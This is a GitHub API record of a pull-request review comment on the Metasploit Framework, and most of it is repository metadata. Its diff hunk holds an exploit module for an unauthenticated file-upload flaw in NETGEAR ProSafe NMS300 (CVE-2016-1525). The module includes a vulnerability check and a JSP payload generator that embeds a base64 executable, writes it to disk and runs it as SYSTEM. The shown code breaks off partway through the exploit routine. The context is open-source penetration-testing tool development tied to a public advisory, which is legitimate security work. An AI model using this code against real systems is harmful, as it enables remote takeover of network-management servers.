{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/53746443","id":53746443,"diff_hunk":"@@ -0,0 +1,146 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::EXE\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'        => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',\n+      'Description' => %q{\n+      Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.\n+      The application has a file upload vulnerability that can be exploited by an\n+      unauthenticated remote attacker to execute code as the SYSTEM user.\n+      Two servlets are vulnerable, FileUploadController (located at\n+      /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).\n+      This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and\n+      1.1.0.13.\n+      },\n+      'Author' =>\n+        [\n+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module\n+        ],\n+      'License' => MSF_LICENSE,\n+      'References' =>\n+        [\n+          ['CVE', '2016-1525'],\n+          ['US-CERT-VU', '777024'],\n+          ['URL', 'TODO_GITHUB_URL'],\n+          ['URL', 'TODO_FULLDISC_URL']\n+        ],\n+      'DefaultOptions' => { 'WfsDelay' => 5 },\n+      'Platform' => 'win',\n+      'Arch' => ARCH_X86,\n+      'Privileged' => true,\n+      'Targets' =>\n+        [\n+          [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]\n+        ],\n+      'DefaultTarget' => 0,\n+      'DisclosureDate' => 'Feb 4 2016'))\n+\n+    register_options(\n+      [\n+        Opt::RPORT(8080),\n+        OptString.new('TARGETURI', [true,  \"Application path\", '/'])\n+      ], self.class)\n+  end\n+\n+\n+  def check\n+    res = send_request_cgi({\n+      'uri'    => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),\n+      'method' => 'GET'\n+    })\n+    if res && res.code == 405\n+      return Exploit::CheckCode::Detected\n+    else\n+      return Exploit::CheckCode::Safe\n+    end\n+  end\n+\n+\n+  def generate_jsp_payload\n+    exe = generate_payload_exe\n+    base64_exe = Rex::Text.encode_base64(exe)\n+    payload_name = rand_text_alpha(rand(6)+3)\n+\n+    var_raw     = rand_text_alpha(rand(8) + 3)\n+    var_ostream = rand_text_alpha(rand(8) + 3)\n+    var_buf     = rand_text_alpha(rand(8) + 3)\n+    var_decoder = rand_text_alpha(rand(8) + 3)\n+    var_tmp     = rand_text_alpha(rand(8) + 3)\n+    var_path    = rand_text_alpha(rand(8) + 3)\n+    var_proc2   = rand_text_alpha(rand(8) + 3)\n+\n+    jsp = %Q|\n+    <%@page import=\"java.io.*\"%>\n+    <%@page import=\"sun.misc.BASE64Decoder\"%>\n+    <%\n+    try {\n+      String #{var_buf} = \"#{base64_exe}\";\n+      BASE64Decoder #{var_decoder} = new BASE64Decoder();\n+      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());\n+\n+      File #{var_tmp} = File.createTempFile(\"#{payload_name}\", \".exe\");\n+      String #{var_path} = #{var_tmp}.getAbsolutePath();\n+\n+      BufferedOutputStream #{var_ostream} =\n+        new BufferedOutputStream(new FileOutputStream(#{var_path}));\n+      #{var_ostream}.write(#{var_raw});\n+      #{var_ostream}.close();\n+      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});\n+    } catch (Exception e) {\n+    }\n+    %>\n+    |\n+\n+    jsp = jsp.gsub(/\\n/, '')\n+    jsp = jsp.gsub(/\\t/, '')\n+    jsp = jsp.gsub(/\\x0d\\x0a/, \"\")\n+    jsp = jsp.gsub(/\\x0a/, \"\")\n+\n+    return jsp\n+  end\n+\n+\n+  def exploit\n+    jsp_payload = generate_jsp_payload\n+\n+    jsp_name = Rex::Text.rand_text_alpha(8+rand(8))\n+    jsp_full_name = \"null\" + jsp_name + \".jsp\"","path":"modules/exploits/windows/http/netgear_nms_rce.rb","position":118,"original_position":118,"commit_id":"1f4324f686fc89063b2e442a0b6e727831f53e0c","original_commit_id":"1f4324f686fc89063b2e442a0b6e727831f53e0c","user":{"login":"pedrib","id":5311656,"avatar_url":"https://avatars.githubusercontent.com/u/5311656?v=3","gravatar_id":"","url":"https://api.github.com/users/pedrib","html_url":"https://github.com/pedrib","followers_url":"https://api.github.com/users/pedrib/followers","following_url":"https://api.github.com/users/pedrib/following{/other_user}","gists_url":"https://api.github.com/users/pedrib/gists{/gist_id}","starred_url":"https://api.github.com/users/pedrib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pedrib/subscriptions","organizations_url":"https://api.github.com/users/pedrib/orgs","repos_url":"https://api.github.com/users/pedrib/repos","events_url":"https://api.github.com/users/pedrib/events{/privacy}","received_events_url":"https://api.github.com/users/pedrib/received_events","type":"User","site_admin":false},"body":"Fixed.","created_at":"2016-02-23T08:00:29Z","updated_at":"2016-02-23T08:00:29Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6530#discussion_r53746443","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/53746443"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6530#discussion_r53746443"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530","id":58221243,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6530","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6530.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6530.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6530","number":6530,"state":"open","locked":false,"title":"Create exploit for CERT VU #777024","user":{"login":"pedrib","id":5311656,"avatar_url":"https://avatars.githubusercontent.com/u/5311656?v=3","gravatar_id":"","url":"https://api.github.com/users/pedrib","html_url":"https://github.com/pedrib","followers_url":"https://api.github.com/users/pedrib/followers","following_url":"https://api.github.com/users/pedrib/following{/other_user}","gists_url":"https://api.github.com/users/pedrib/gists{/gist_id}","starred_url":"https://api.github.com/users/pedrib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pedrib/subscriptions","organizations_url":"https://api.github.com/users/pedrib/orgs","repos_url":"https://api.github.com/users/pedrib/repos","events_url":"https://api.github.com/users/pedrib/events{/privacy}","received_events_url":"https://api.github.com/users/pedrib/received_events","type":"User","site_admin":false},"body":"This exploit targets Netgear NMS 300, versions 1.1 to 1.5. It achieves remote code execution by upload a file that runs as SYSTEM. More details on the CERT advisory at https://www.kb.cert.org/vuls/id/777024.\r\nYou can download the trial versions at http://downloadcenter.netgear.com/en/product/NMS300#searchResults\r\nAny questions let me know! \r\n\r\nRegards,\r\nPedro","created_at":"2016-02-03T23:55:48Z","updated_at":"2016-02-23T08:00:29Z","closed_at":null,"merged_at":null,"merge_commit_sha":"340e76214604d6f6e58de685b2297c79ac426fda","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6530/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/1f4324f686fc89063b2e442a0b6e727831f53e0c","head":{"label":"pedrib:nms_rce","ref":"nms_rce","sha":"1f4324f686fc89063b2e442a0b6e727831f53e0c","user":{"login":"pedrib","id":5311656,"avatar_url":"https://avatars.githubusercontent.com/u/5311656?v=3","gravatar_id":"","url":"https://api.github.com/users/pedrib","html_url":"https://github.com/pedrib","followers_url":"https://api.github.com/users/pedrib/followers","following_url":"https://api.github.com/users/pedrib/following{/other_user}","gists_url":"https://api.github.com/users/pedrib/gists{/gist_id}","starred_url":"https://api.github.com/users/pedrib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pedrib/subscriptions","organizations_url":"https://api.github.com/users/pedrib/orgs","repos_url":"https://api.github.com/users/pedrib/repos","events_url":"https://api.github.com/users/pedrib/events{/privacy}","received_events_url":"https://api.github.com/users/pedrib/received_events","type":"User","site_admin":false},"repo":{"id":23126902,"name":"metasploit-framework","full_name":"pedrib/metasploit-framework","owner":{"login":"pedrib","id":5311656,"avatar_url":"https://avatars.githubusercontent.com/u/5311656?v=3","gravatar_id":"","url":"https://api.github.com/users/pedrib","html_url":"https://github.com/pedrib","followers_url":"https://api.github.com/users/pedrib/followers","following_url":"https://api.github.com/users/pedrib/following{/other_user}","gists_url":"https://api.github.com/users/pedrib/gists{/gist_id}","starred_url":"https://api.github.com/users/pedrib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pedrib/subscriptions","organizations_url":"https://api.github.com/users/pedrib/orgs","repos_url":"https://api.github.com/users/pedrib/repos","events_url":"https://api.github.com/users/pedrib/events{/privacy}","received_events_url":"https://api.github.com/users/pedrib/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/pedrib/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/pedrib/metasploit-framework","forks_url":"https://api.github.com/repos/pedrib/metasploit-framework/forks","keys_url":"https://api.github.com/repos/pedrib/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pedrib/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pedrib/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/pedrib/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/pedrib/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/pedrib/metasploit-framework/events","assignees_url":"https://api.github.com/repos/pedrib/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/pedrib/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/pedrib/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/pedrib/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pedrib/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pedrib/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/pedrib/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pedrib/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/pedrib/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/pedrib/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/pedrib/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/pedrib/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/pedrib/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/pedrib/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/pedrib/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/pedrib/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/pedrib/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/pedrib/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/pedrib/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pedrib/metasploit-framework/merges","archive_url":"https://api.github.com/repos/pedrib/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pedrib/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/pedrib/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/pedrib/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/pedrib/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/pedrib/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pedrib/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/pedrib/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/pedrib/metasploit-framework/deployments","created_at":"2014-08-19T21:48:54Z","updated_at":"2016-02-03T23:43:58Z","pushed_at":"2016-02-03T23:58:00Z","git_url":"git://github.com/pedrib/metasploit-framework.git","ssh_url":"git@github.com:pedrib/metasploit-framework.git","clone_url":"https://github.com/pedrib/metasploit-framework.git","svn_url":"https://github.com/pedrib/metasploit-framework","homepage":"http://www.metasploit.com/","size":281845,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"2fcae2bea4eec6f96b6b5553551b4fbdc6da8437","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-02-23T05:31:53Z","pushed_at":"2016-02-22T23:48:57Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":469578,"stargazers_count":5291,"watchers_count":5291,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3762,"mirror_url":null,"open_issues_count":298,"forks":3762,"open_issues":298,"watchers":5291,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6530"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6530"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6530/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6530/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/1f4324f686fc89063b2e442a0b6e727831f53e0c"}}}}